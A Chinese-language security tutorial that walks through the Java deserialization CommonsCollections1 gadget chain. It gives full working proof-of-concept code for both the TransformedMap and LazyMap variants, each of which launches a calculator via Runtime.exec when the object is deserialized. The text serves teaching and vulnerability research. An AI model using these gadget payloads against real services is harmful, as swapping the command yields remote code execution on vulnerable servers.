发布于 

Java反序列化2-CommonsCollections1(CC1链)

1. Commons-Collections简介

https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md

commons-collections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。

反序列化目的:接收任意对象执行任意方法,参数可控

2. CC1利用链

有两条利用链

  1. AnnotationInvocationHandler.readObject->TransformedMap.checkSetValue->ChainedTransformer->InvokerTransformer.transform->Runtime.exec
  2. AnnotationInvocationHandler.readObject->LazyMap.get->TransformedMap.checkSetValue->InvokerTransformer.transform->Runtime.exec

3. 利用条件

  1. 在JDK 8u71以前,在此改动后,AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

  2. 引用Common-Collections依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

4. 相关接口和类

4.1 Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法transform(Object input)

1
2
3
public interface Transformer {
public Object transform(Object input);
}

我们可以简单理解一下:Transformer这个对象是一个转换器接口,只要有类实现了这个接口,就需要实现它的方法就是转换即:一个类如果实现了一个接口就必须实现接口的所有方法。

4.2 InvokerTransformer

InvokerTransformer是实现了Transformer接⼝和Serializable接口的⼀个类,这个类可以⽤来执⾏任意⽅法,InvokerTransformer.transform()是CC1的关键点。

实例化这个InvokerTransformer,需要传⼊三个参数:

  1. ⽅法名

  2. 参数类型,

  3. 传给这个函数的参数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();//获取类
Method method = cls.getMethod(iMethodName, iParamTypes);//反射获取方法
return method.invoke(input, iArgs);//调用方法

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

InvokerTransformer实现Transformer接口的 **transform(Object input)**方法。反射来调用传进来的对象中的方法。而方法名参数类型参数列表都是可以在构造函数初始化时传进来的,因此都是可控的。

1
2
3
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());// 将Runtime对象的参数是String类型值是"calc"的exec()方法调用
// 等同于
// Runtime.getRuntime().exec("calc");

缺点 是:只能在本地调用,想要远程调用的话,构造函数中的几个参数和transform中的参数都得是用户可控。即,这个只能控制方法相关的参数、值

4.3 ConstantTransformer

ConstantTransformer 是实现了TransformerSerializable 接口的⼀个类。

我们读这个类的名字就可以知道常量转换器

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

构造函数是传一个对象进去,初始化iConstant,而transform则将这个iConstant对象返回。因此可将Runtime传进去,当调用transform时返回一个Runtime对象回来,要是能将它与InvokerTransformer组合起来或许就能有意想不到的效果。而ChainedTransformer刚好有这种功能。

1
2
// 非常重要的功能来了
new ConstantTransformer(Runtime.class);// === Runtime.class

4.4 ChainedTransformer

ChainedTransformer 也是实现了TransformerSerializable 接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。

读名字就知道是一个链式转换器

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

构造函数这里传的是一个Transformer数组,而transform方法则是遍历这个数组,取出数组里的Transformer对象并调用其transform方法,返回的对象又作为下一个Transformer的transform方法中的参数被调用。

4.5 TransformedMap

TransformedMap是实现了Serializable的类,构造函数接收Map,KeyTransformer,ValueTransformer。

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

1
2
3
4
//静态方法,直接可以调用。    
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

4.6 AnnotationInvocationHandler

这个类实现Serializable接口,不能直接调用这个类,需要通过反射的的方式加载。这个类的构造方法,接收Class和Map。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

readObject() 方法的关键是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…) 。memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

4.7 LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

1
2
3
4
//获取 LazyMap 对象
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get()方法中执行的 factory.transform()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

在get找不到值的时候,它会调用 factory.transform() 方法去获取一个值,AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
//get方法
// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}
}
}

5. 编写POC

这两条链都执行目标都是Runtime.getRuntime().exec("calc")

5.1 构建调用链

5.1.1 正常反射构造序列化

我们看一下Runtime的源码,发现是没有实现Serializable接口,说明不可以被序列化:

image-20221017215459215

我们要如何让其被序列化:

image-20221017215639203

我们只需要让它变成Class对象即可。

1
Class<Runtime> clazz = Runtime.class;

要它执行全部操作,就需要通过反射。

1
2
3
4
5
Class<Runtime> clazz = Runtime.class; // 获取Class对象
Method clazzMethod = clazz.getMethod("getRuntime", null); // 通过Class的getMethod方法获取Method对象
Runtime runtime = (Runtime) clazzMethod.invoke(null, null); // 通过对method方法的调用获取到Runtime这个对象
Method exec = clazz.getMethod("exec", String.class); // 通过Class的getMethod方法获取Method对象
exec.invoke(runtime, "calc"); // 通过对method方法的调用传入的是返回的Runtime对象,在这部时我们等于获取了getRuntime()的返回值作为对象,然后调用exec()方法

5.1.2 用InvokerTransformer构造

1
2
3
4
5
6
// Method clazzMethod = Runtime.class.getMethod("getRuntime", null);
Method method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) clazzMethod.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(method);
// clazz.getMethod("exec", String.class).invoke(runtime, "calc"); 因为这里Runtime已经被实例化出来了,也可以直接调用对象中的方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

5.1.3 用ChainedTransformer连接

1
2
3
4
5
6
7
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// 这里把上面的InvokerTransformer直接拿下来,只调用一此transform()即可
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform(Runtime.class);

5.1.4 用ConstantTransformer优化

1
2
3
4
5
6
7
8
9
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// 因为返回的是Runtime.class的Class对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// 所以这里可以直接传null,因为传入的参数已经在链中
chainedTransformer.transform(null);

5.1.5 思考

但是我们在反序列化过程中,是不会手工去调用Transformer.transform()方法的,所以我们要找transform()被哪些类调用了,直到找到带有readObject() 方法的类。注意:在第一步就需要将所有源码包导入

image-20221017232802928

5.2 第一条链TransformMap

5.2.1 遍历TransformMap弹计算器

1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r); //调用setValue
}

5.2.2 使用TransformMap的理由

  1. 实现了Serializable接口

  2. 在方法中调用了transform()

    image-20221018104621320

  3. 重写了readObject() 方法

    image-20221018105429254

5.2.3 寻找在readObject()中调用setValue()的类

继续在找调用setValue()的地方。最好是readObject()直接调用。AnnotationInvocationHandlerreadObject()刚好符合条件。

image-20221018162046103

5.2.4 调用AnnotationInvocationHandler

因为AnnotationInvocationHandler不能被实例化,所以只能通过反射实例化这个对象

1
2
3
4
5
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Object o = declaredConstructor.newInstance(Retention.class, tmap); // @Retention是注解,所以@Target这些也可以

5.2.5 完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "Roderick"); // Target/Retention的参数是value
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, tmap);


//序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC1.bin"));
oos.writeObject(o);
//反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC1.bin"));
ois.readObject();

5.2.6 调试分析反序列化流程

从反序列化开始的readObject()开始调试。

image-20221018174938829

在Gadget链上的每个关键点都下一个断点,调试看反序列化流程:

image-20221018175214008

首先断在了AnnotationInvocationHandler 类的readObjetc() 方法上,继续往下走会发现走的是AbstractInputCheckedMapDecoratorsetValue()

image-20221018175700383

然后到了TransformedMap类的checkSetValue()方法。

image-20221018175942482

最后到InvokerTransformertransform()Runtime.getRuntime().exec("calc")调用。

5.2.7 正向分析流程

  1. 我们知道使用Transformer 的核心是通过transform() 调用

  2. 我们从InvokerTransformer类中找到transform() 方法

    image-20221018180729403

  3. 寻找有哪些类调用了transform() 方法,目前只关注这条链应该的分析路径

    image-20221018180856006

    发现这条链调用的checkSetValue()方法调用了transform()方法

    image-20221018181025157

  4. 再寻找哪些类的方法中调用了checkSetValue(),发现AbstractInputCheckedMapDecorator类中的setValue()方法中有用到

    image-20221018181137182

    发现TransformerMapAbstractInputCheckedMapDecorator的子类,所以调用的也相当于是TransformerMap的。

    image-20221018181417715

  5. 我们再寻找哪个类的方法中有调用setvalue()方法

    image-20221018181624346

    发现反序列化的标志:

    image-20221018181730707

    然后发现实现了序列化接口Serializable

    image-20221018181824842

  6. 至此找到一条反序列化调用链,但是最终的AnnnotationInvocationHandler是操作注解的一个类(注解动态代理处理器),我们可以从部分代码中可以直接解读到

    1
    AnnotationType annotationType = AnnotationType.getInstance(type); // 获取注解类型

    所以我们在HashMap调用的时候要使用的Key 是注解的参数”value “。

5.3 第二条链LazyMap

这里我们假设不知道他的调用链关系,先用正向来推测一下LazyMap的调用链,已知由Lazymap调用链引发。

5.3.1 正向分析流程

正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKey、transformValue、checkSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。

  1. 第一步从InvokerTransform 类的transform() 开始,全局搜索调用方法名为transform()的类方法

    image-20221018193846806

  2. 进入LazyMap类的get()方法查看,看到了transform()的调用

    image-20221018193937762

  3. 然后我们直接搜索get()方法在哪里调用,用于get()方法实在使用宽泛,我们就需要对get()审计时限制条件:

    1. 有一个参数可控(Object或者是泛型)的key
    2. 调用类要实现Serializable接口
    3. 调用类要重写反序列化所需的readObject(),并在其中调用get()方法
  4. 结果有5000多条数据,我们根据要求审查符合该要求的类:

    image-20221018194439436

    可以直接进入该类搜索文件内容:

    image-20221018194529541

    最终搜索到AnnotationInvocationhandler (看了几百条还没审查到该对象,直接来到这里看一下)

    image-20221018195649557

    最终好像在这里调用get()(其实不是),其实在AnnotationInvocationHandler 类的invoke 方法中调用了get 方法 :

    image-20221018195751208

5.3.2 尝试POC

image-20221018195916874

发现不能new这个对象,那我们去它源码读一下:

image-20221018200031717

发现也是通过decorate()方法new LazyMap()的,开始写:

image-20221018200145804

发现有两个类型参数:

一个是Factory, 一个是Transformer

我们用的是Transformer ,把ChainedTransformer链传进去。

1
Map lazyMap = LazyMap.decorate(map, transformerChain);

然后构造AnnontationInvocationHandler 对象,也不能被new ,需要通过反射获取:

image-20221018201214419

1
2
3
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
Object o = declaredConstructor.newInstance(Target.class, lazyMap);

这样写测试一下,发现有报错:

image-20221018202407262

所以需要设置一下:

1
2
3
4
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, lazyMap);

但是运行完成后没有弹计算器,进入调试一下:

image-20221018203138837

发现对memberValues()的迭代操作完全没有做,所以后面hasNext()就不执行了:

image-20221018205037915

所以不在这个get()中,经查阅资料,Map接口里没有具体的entrySet()实现,所以这里的entrySet() 具体实现由代理类来完成.

1
2
3
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

5.3.3 完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Transformer[] transformers = new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "Roderick");
Map tmap = LazyMap.decorate(map, transformerChain);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);

//序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC1.bin"));
oos.writeObject(handler);
//反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC1.bin"));
ois.readObject();

5.3.2 反向分析流程

正向过程中带有猜测,幸运的是有前人栽树,让我们了解可以通过动态代理来解决问题,但还有一些迷惑之处就通过调试代码,来拨开谜团。